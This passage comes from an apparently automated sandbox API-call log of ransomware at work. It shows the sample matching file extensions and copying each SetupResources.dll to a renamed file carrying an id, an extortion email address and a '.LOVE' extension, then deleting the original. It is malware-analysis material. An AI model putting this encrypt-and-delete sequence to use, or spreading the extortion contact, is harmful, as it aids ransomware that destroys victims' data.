(lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0195.625] lstrlenW (lpString=".dbf") returned 4 [0195.625] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0195.625] lstrlenW (lpString=".1cd") returned 4 [0195.625] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0195.625] lstrlenW (lpString=".jpg") returned 4 [0195.625] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.625] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.625] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.625] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.630] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=18264) returned 1 [0195.630] CloseHandle (hObject=0x300) returned 1 [0195.631] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80 [0195.631] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.631] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.631] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.631] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.631] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0195.643] GetLastError () returned 0x0 [0195.644] ReadFile (in: hFile=0x300, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x4758, lpOverlapped=0x0) returned 1 [0195.681] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x4760, lpOverlapped=0x0) returned 1 [0195.683] ReadFile (in: hFile=0x300, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.683] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.683] SetEndOfFile (hFile=0x2f8) returned 1 [0195.683] CloseHandle (hObject=0x2f8) returned 1 [0195.684] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.684] SetEndOfFile (hFile=0x300) returned 1 [0195.684] CloseHandle (hObject=0x300) returned 1 [0195.684] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.684] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1 [0195.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0195.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0195.685] lstrlenW (lpString=".doc") returned 4 [0195.685] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.685] lstrlenW (lpString=".docx") returned 5 [0195.685] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.685] lstrlenW (lpString=".pdf") returned 4 [0195.685] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.685] lstrlenW (lpString=".xls") returned 4 [0195.685] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.685] lstrlenW (lpString=".xlsx") returned 5 [0195.685] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.685] lstrlenW (lpString=".ppt") returned 4 [0195.685] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0195.685] lstrlenW (lpString=".zip") returned 4 [0195.685] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.685] lstrlenW (lpString=".rar") returned 4 [0195.685] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.685] lstrlenW (lpString=".bz2") returned 4 [0195.685] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.685] lstrlenW (lpString=".7z") returned 3 [0195.685] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0195.686] lstrlenW (lpString=".dbf") returned 4 [0195.686] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0195.686] lstrlenW (lpString=".1cd") returned 4 [0195.686] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0195.686] lstrlenW (lpString=".jpg") returned 4 [0195.686] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0195.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0195.686] lstrlenW (lpString=".doc") returned 4 [0195.686] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.686] lstrlenW (lpString=".docx") returned 5 [0195.686] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.686] lstrlenW (lpString=".pdf") returned 4 [0195.686] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.686] lstrlenW (lpString=".xls") returned 4 [0195.686] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.686] lstrlenW (lpString=".xlsx") returned 5 [0195.686] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.686] lstrlenW (lpString=".ppt") returned 4 [0195.686] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0195.686] lstrlenW (lpString=".zip") returned 4 [0195.686] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.686] lstrlenW (lpString=".rar") returned 4 [0195.686] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.686] lstrlenW (lpString=".bz2") returned 4 [0195.687] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.687] lstrlenW (lpString=".7z") returned 3 [0195.687] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0195.687] lstrlenW (lpString=".dbf") returned 4 [0195.687] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0195.687] lstrlenW (lpString=".1cd") returned 4 [0195.687] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0195.687] lstrlenW (lpString=".jpg") returned 4 [0195.687] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.687] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.687] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.687] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.687] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=17752) returned 1 [0195.687] CloseHandle (hObject=0x300) returned 1 [0195.687] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80 [0195.688] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.688] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.688] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.688] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.688] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0195.698] GetLastError () returned 0x0 [0195.698] ReadFile (in: hFile=0x300, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x4558, lpOverlapped=0x0) returned 1 [0195.746] WriteFile (in: hFile=0x2c8, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x4560, lpOverlapped=0x0) returned 1 [0195.747] ReadFile (in: hFile=0x300, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.747] WriteFile (in: hFile=0x2c8, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.747] SetEndOfFile (hFile=0x2c8) returned 1 [0195.747] CloseHandle (hObject=0x2c8) returned 1 [0195.748] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.748] SetEndOfFile (hFile=0x300) returned 1 [0195.749] CloseHandle (hObject=0x300) returned 1 [0195.749] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.750] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1 [0195.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0195.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0195.750] lstrlenW (lpString=".doc") returned 4 [0195.750] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.750] lstrlenW (lpString=".docx") returned 5 [0195.750] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.750] lstrlenW (lpString=".pdf") returned 4 [0195.750] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.750] lstrlenW (lpString=".xls") returned 4 [0195.750] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.750] lstrlenW (lpString=".xlsx") returned 5 [0195.750] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.750] lstrlenW (lpString=".ppt") returned 4 [0195.750] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0195.750] lstrlenW (lpString=".zip") returned 4 [0195.750] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.750] lstrlenW (lpString=".rar") returned 4 [0195.750] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.751] lstrlenW (lpString=".bz2") returned 4 [0195.751] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.751] lstrlenW (lpString=".7z") returned 3 [0195.751] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0195.751] lstrlenW (lpString=".dbf") returned 4 [0195.751] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0195.751] lstrlenW (lpString=".1cd") returned 4 [0195.751] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0195.751] lstrlenW (lpString=".jpg") returned 4 [0195.751] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0195.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0195.751] lstrlenW (lpString=".doc") returned 4 [0195.751] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.751] lstrlenW (lpString=".docx") returned 5 [0195.751] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.751] lstrlenW (lpString=".pdf") returned 4 [0195.751] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.751] lstrlenW (lpString=".xls") returned 4 [0195.751] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.751] lstrlenW (lpString=".xlsx") returned 5 [0195.751] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.751] lstrlenW (lpString=".ppt") returned 4 [0195.751] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0195.751] lstrlenW (lpString=".zip") returned 4 [0195.751] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.752] lstrlenW (lpString=".rar") returned 4 [0195.752] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.752] lstrlenW (lpString=".bz2") returned 4 [0195.752] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.752] lstrlenW (lpString=".7z") returned 3 [0195.752] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0195.752] lstrlenW (lpString=".dbf") returned 4 [0195.752] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0195.752] lstrlenW (lpString=".1cd") returned 4 [0195.752] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0195.752] lstrlenW (lpString=".jpg") returned 4 [0195.752] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.752] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.752] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.752] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.752] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=18264) returned 1 [0195.752] CloseHandle (hObject=0x300) returned 1 [0195.754] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80 [0195.754] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.755] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.755] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.755] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.755] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0195.779] GetLastError () returned 0x0 [0195.779] ReadFile (in: hFile=0x300, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x4758, lpOverlapped=0x0) returned 1 [0195.818] WriteFile (in: hFile=0x2c8, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x4760, lpOverlapped=0x0) returned 1 [0195.820] ReadFile (in: hFile=0x300, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.820] WriteFile (in: hFile=0x2c8, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.820] SetEndOfFile (hFile=0x2c8) returned 1 [0195.820] CloseHandle (hObject=0x2c8) returned 1 [0195.821] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.821] SetEndOfFile (hFile=0x300) returned 1 [0195.822] CloseHandle (hObject=0x300) returned 1 [0195.822] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.823] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1 [0195.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0195.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0195.823] lstrlenW (lpString=".doc") returned 4 [0195.823] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.823] lstrlenW (lpString=".docx") returned 5 [0195.823] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.823] lstrlenW (lpString=".pdf") returned 4 [0195.823] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.823] lstrlenW (lpString=".xls") returned 4 [0195.823] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.823] lstrlenW (lpString=".xlsx") returned 5 [0195.823] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.823] lstrlenW (lpString=".ppt") returned 4 [0195.823] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0195.823] lstrlenW (lpString=".zip") returned 4 [0195.823] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.823] lstrlenW (lpString=".rar") returned 4 [0195.823] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.823] lstrlenW (lpString=".bz2") returned 4 [0195.824] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.824] lstrlenW (lpString=".7z") returned 3 [0195.824] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0195.824] lstrlenW (lpString=".dbf") returned 4 [0195.824] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0195.824] lstrlenW (lpString=".1cd") returned 4 [0195.824] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0195.824] lstrlenW (lpString=".jpg") returned 4 [0195.824] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0195.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0195.824] lstrlenW (lpString=".doc") returned 4 [0195.824] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.824] lstrlenW (lpString=".docx") returned 5 [0195.824] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.824] lstrlenW (lpString=".pdf") returned 4 [0195.824] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.824] lstrlenW (lpString=".xls") returned 4 [0195.824] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.824] lstrlenW (lpString=".xlsx") returned 5 [0195.824] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.824] lstrlenW (lpString=".ppt") returned 4 [0195.824] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0195.824] lstrlenW (lpString=".zip") returned 4 [0195.824] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.825] lstrlenW (lpString=".rar") returned 4 [0195.825] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.825] lstrlenW (lpString=".bz2") returned 4 [0195.825] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.825] lstrlenW (lpString=".7z") returned 3 [0195.825] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0195.825] lstrlenW (lpString=".dbf") returned 4 [0195.825] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0195.825] lstrlenW (lpString=".1cd") returned 4 [0195.825] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0195.825] lstrlenW (lpString=".jpg") returned 4 [0195.825] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.825] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.825] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.825] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.825] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=14168) returned 1 [0195.825] CloseHandle (hObject=0x300) returned 1 [0195.826] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80 [0195.826] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.826] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.826] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.826] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.826] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0195.860] GetLastError () returned 0x0 [0195.860] ReadFile (in: hFile=0x300, lpBuffer=0x3f72020, 